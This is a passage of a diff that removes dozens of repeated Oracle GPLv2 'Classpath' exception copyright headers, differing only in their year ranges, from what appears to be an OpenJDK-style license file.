-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003,2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2004, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2004, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2004, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2004, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2004, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2004, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2007, Oracle and/or its affiliates. All rights reserved.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
